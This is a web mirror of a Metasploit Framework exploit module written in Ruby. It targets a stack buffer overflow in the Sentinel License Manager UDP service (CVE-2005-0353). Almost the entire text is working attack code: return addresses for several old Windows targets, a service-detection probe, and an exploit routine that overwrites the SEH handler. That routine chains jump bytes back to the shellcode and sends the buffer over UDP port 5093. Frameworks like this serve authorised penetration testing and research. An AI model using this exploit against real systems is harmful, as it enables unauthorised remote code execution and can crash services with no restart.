Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/license/sentinel_lm7_udp.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'SentinelLM UDP Buffer Overflow',
16
'Description' => %q{
17
This module exploits a simple stack buffer overflow in the Sentinel
18
License Manager. The SentinelLM service is installed with a
19
wide selection of products and seems particular popular with
20
academic products. If the wrong target value is selected,
21
the service will crash and not restart.
22
},
23
'Author' => [ 'hdm' ],
24
'License' => MSF_LICENSE,
25
'References' => [
26
[ 'CVE', '2005-0353'],
27
[ 'OSVDB', '14605'],
28
[ 'BID', '12742'],
29
],
30
'Privileged' => true,
31
'DefaultOptions' => {
32
'EXITFUNC' => 'process',
33
},
34
'Payload' => {
35
'Space' => 800,
36
'BadChars' => "\x00\x20",
37
'StackAdjustment' => -3500,
38
},
39
'Platform' => 'win',
40
'Targets' => [
41
['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
42
['SentinelLM 7.2.0.0 Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll
43
['SentinelLM 7.2.0.0 Windows 2000 German', { 'Ret' => 0x74fa1887 }], # ws2help.dll
44
['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
45
['SentinelLM 7.2.0.0 Windows 2003 English SP0', { 'Ret' => 0x7ffc0638 }], # peb
46
],
47
'DisclosureDate' => '2005-03-07',
48
'Notes' => {
49
'Reliability' => UNKNOWN_RELIABILITY,
50
'Stability' => UNKNOWN_STABILITY,
51
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
}
53
)
54
)
55
56
register_options(
57
[
58
Opt::RPORT(5093)
59
]
60
)
61
end
62
63
def check
64
connect_udp
65
udp_sock.put("\x7a\x00\x00\x00\x00\x00")
66
res = udp_sock.recvfrom(8192)
67
disconnect_udp
68
69
if (res and res[0] == 0x7a)
70
return Exploit::CheckCode::Detected
71
end
72
73
return Exploit::CheckCode::Safe
74
end
75
76
def exploit
77
connect_udp
78
79
# Payload goes first
80
buf = payload.encoded + rand_text_english(2048 - payload.encoded.length)
81
82
# Return to a pop/pop/ret via SEH
83
buf[836, 4] = [target.ret].pack('V')
84
85
# The pop/pop/ret takes us here, jump back 5 bytes
86
buf[832, 2] = "\xeb\xf9"
87
88
# Now jump all the way back to our shellcode
89
buf[827, 5] = "\xe9" + [-829].pack('V')
90
91
udp_sock.put(buf)
92
udp_sock.recvfrom(8192)
93
94
handler
95
disconnect_udp
96
end
97
98
end
99
100